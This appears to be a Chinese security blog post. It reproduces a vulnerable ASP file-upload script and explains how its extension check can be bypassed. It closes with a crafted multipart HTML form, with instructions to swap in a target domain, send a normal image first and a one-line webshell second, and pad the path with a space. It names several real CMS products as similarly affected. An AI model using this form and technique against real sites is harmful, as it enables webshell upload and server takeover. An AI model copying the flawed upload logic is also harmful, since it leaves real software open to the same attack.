来源:http://hacklu.net/blog/

昨天帮别人看了一套ASP的代码,代码如下:

<!--#include file="Inc/upfile_class.asp"-->

<%

const upload_type=0   '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspupload
Const MaxFileSize=2000        '上传文件大小限制      
Const UpFileType="gif|jpg|bmp|png|swf|doc|ppt|wmv|rmvb|avi|rm|mp3"        '允许的上传文件类型
dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
dim EnableUpload
dim arrUpFileType
dim ranNum
dim msg,FoundErr
dim PhotoUrlID
msg=""
FoundErr=false
EnableUpload=false

%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
BODY{
BACKGROUND-COLOR: #E1F4EE;
font-size:9pt
}
.tx1 { height: 20px;font-size: 9pt; border: 1px solid; border-color: #000000; color: #0000FF}
-->
</style>
</head>
<body leftmargin="2" topmargin="5" marginwidth="0" marginheight="0" >
<%


    select case upload_type
      case 0
        call upload_0()  '使用化境无组件上传类
      case else
        'response.write "本系统未开放插件功能"
        'response.end
    end select
%>
</body>
</html>
<%
sub upload_0()    '使用化境无组件上传类
  set upload=new upfile_class ''建立上传对象
  upload.GetData(104857600)   '取得上传数据,限制最大上传100M
  if upload.err > 0 then  '如果出错
    select case upload.err
      case 1
        response.write "请先选择你要上传的文件!"
      case 2
        response.write "你上传的文件总大小超出了最大限制(100M)"
    end select
    response.end
  end if
  PhotoUrlID=Clng(trim(upload.form("PhotoUrlID")))
  if PhotoUrlID=1 then
    SavePath = "/uploadfile/p_w_picpath/"   '存放上传文件的目录
  elseif PhotoUrlID=2 then
    SavePath = "/uploadfile/p_w_picpath/"   '存放上传文件的目录
     elseif PhotoUrlID=3 or PhotoUrlID=4 then
    SavePath = "/madie"   '存放上传文件的目录
  end if
  if right(SavePath,1)<>"/" then SavePath=SavePath&"/" '在目录后加(/)
    
  for each formName in upload.file '列出所有上传了的文件
    set ofile=upload.file(formName)  '生成一个文件对象
    oFileSize=ofile.filesize
    if oFileSize<100 then
      msg="请先选择你要上传的文件!"
      FoundErr=True
    else
     select case PhotoUrlID
       case 0     
        if oFileSize>(MaxFileSize*1024) then
            msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
       FoundErr=true
        end if
         case 1
        if oFileSize>(10000*1024) then
            msg="文件大小超过了限制,最大只能上传10M的文件!"
       FoundErr=true
        end if
     end select    
    end if

    fileExt=lcase(ofile.FileExt)
    arrUpFileType=split(UpFileType,"|")
    for i=0 to ubound(arrUpFileType)
      if fileEXT=trim(arrUpFileType(i)) then
        EnableUpload=true
        exit for
      end if
    next
    if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
      EnableUpload=false
    end if
    if EnableUpload=false then
      msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
      FoundErr=true
    end if
    
    
    strJS="<SCRIPT language=javascript>" & vbcrlf
    if FoundErr<>true then
    
      randomize
      ranNum=int(900*rnd)+100
      filename="big"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
      smallfilename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
      ofile.SaveToFile Server.mappath(SavePath&filename)   '保存文件
      
      
      select case PhotoUrlID
        case 1
        
        strJS=strJS & "parent.document.form1.myText2.value+='"&filename&"|';"& vbcrlf
        strJS=strJS & "parent.document.myform.tsmallimg.value='"&smallfilename&"';"& vbcrlf
        strJS=strJS & "parent.jjj();"& vbcrlf
        
        on error resume next

          '----------------------------生成缩略图
Dim Jpeg 
Set Jpeg = Server.CreateObject("Persits.Jpeg") 
If Err then 
err.clear
else

'----------------------------水印文字透明

Path = Server.MapPath(SavePath&filename)'待处理图片路径 

Jpeg.Open Path '打开图片 
If err.number then 
Response.write"打开图片失败,请检查路径!" 
Response.End() 
End if 
Dim aa 
aa=Jpeg.Binary '将原始数据赋给aa 
'=========加文字水印================= 
Jpeg.Canvas.Font.Color = &Hfffffff '水印文字颜色 
Jpeg.Canvas.Font.Family = Arial '字体 
Jpeg.Canvas.Font.Bold = True '是否加粗 
Jpeg.Canvas.Font.Size = 35 '字体大小 
Jpeg.Canvas.Font.ShadowColor = &H000000 '阴影色彩 
Jpeg.Canvas.Font.ShadowYOffset = 1 
Jpeg.Canvas.Font.ShadowXOffset = 1 
Jpeg.Canvas.Brush.Solid = True 
Jpeg.Canvas.Font.Quality = 7 '输出质量 
Jpeg.Canvas.PrintText Jpeg.OriginalWidth/2-100,Jpeg.OriginalHeight/2+20,"www.schoolsale.cn" '水印位置及文字 
bb=Jpeg.Binary '将文字水印处理后的值赋给bb,这时,文字水印没有不透明度 
'============调整文字透明度================ 
Set MyJpeg = Server.CreateObject("Persits.Jpeg") 
MyJpeg.OpenBinary aa 
Set Logo = Server.CreateObject("Persits.Jpeg") 
Logo.OpenBinary bb 
MyJpeg.DrawImage 0,0, Logo, 0.2 '0.3是透明度 
cc=MyJpeg.Binary '将最终结果赋值给cc,这时也可以生成目标图片了 
'response.BinaryWrite cc '将二进输出给浏览器 
MyJpeg.Save Path 
set aa=nothing 
set bb=nothing 
set cc=nothing 
Jpeg.close 
MyJpeg.Close 
Logo.Close


Jpeg.Open Path '打开图片 高与宽为原图片的1/2 
Jpeg.Width = Jpeg.OriginalWidth / 2 
Jpeg.Height = Jpeg.OriginalHeight / 2 
'保存图片 
Jpeg.Save Server.MapPath(SavePath&smallfilename)  

'-----缩络图组件

End If 
'--------------




      '-----------------------------        
                
                
                  
          

        case 2
          strJS=strJS & "var e=parent.document.form1.myText2;" & vbcrlf
          strJS=strJS & "if(e.value=='')parent.document.form1.myText2.value+='" & fileName & "';" & vbcrlf
          strJS=strJS & "else{parent.document.form1.myText2.value+='|" & fileName & "'};" & vbcrlf
          strJS=strJS & "parent.doChangepic(parent.document.form1.myText2,parent.document.form1.myDrop2,parent.document.form1.shoupic);" & vbcrlf
          'strJS=strJS & "parent.document.myform.timgbig.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf

        case 3
          strJS=strJS & "parent.document.myform.tsmallimg.value='" & fileName & "';" & vbcrlf
          strJS=strJS & "parent.GO('timgshow').src='/madie/" & fileName & "';" & vbcrlf
          'strJS=strJS & "parent.document.myform.PhotoSize3.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
        case 4
          strJS=strJS & "parent.document.myform.timg.value='" & fileName & "';" & vbcrlf
          strJS=strJS & "parent.document.myform.timgtype.value='" & fileExt & "';" & vbcrlf
          strJS=strJS & "parent.document.myform.timgbig.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
      end select
       msg="文件上传成功!!!!!!! "
       strJS=strJS & "alert('" & msg & "');location.href='upload_Photo.asp?PhotoUrlID=2';" & vbcrlf
    else
            msg="有错误!!!!!!! "
      strJS=strJS & "alert('" & msg & "');" & vbcrlf
        strJS=strJS & "history.go(-1);" & vbcrlf
    end if

        strJS=strJS & "</script>" & vbcrlf
    response.write strJS
    response.Write("文件上传成功")
    
    set file=nothing
  next
  set upload=nothing
end sub
%>


这段代码仔细看的是前面判断“Const UpFileType="gif|jpg|bmp|png|swf|doc|ppt|wmv|rmvb|avi|rm|mp3"

后面判断

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
      EnableUpload=false
    end if
    if EnableUpload=false then
      msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
      FoundErr=true
    end if

这种类似的程序有很多,例如很早以前的中景网论坛,动易,天缘学校网站系统。

构造上传表单:


<form action="http://127.0.0.1/Upfile_Photo.asp" method="post" name="form1" enctype="multipart/form-data"> '其中127.0.0.1要改成你要提交的域名URL.
<input name="FileName" type="FILE" class="tx1" size="21" >
<input name="FileName1" type="FILE" class="tx1" size="21" >
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
<input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1">
</form>

这里注意下第一个为正常图片,第二个如果是一句话一定要在两行以上的代码,路径后面加上空格。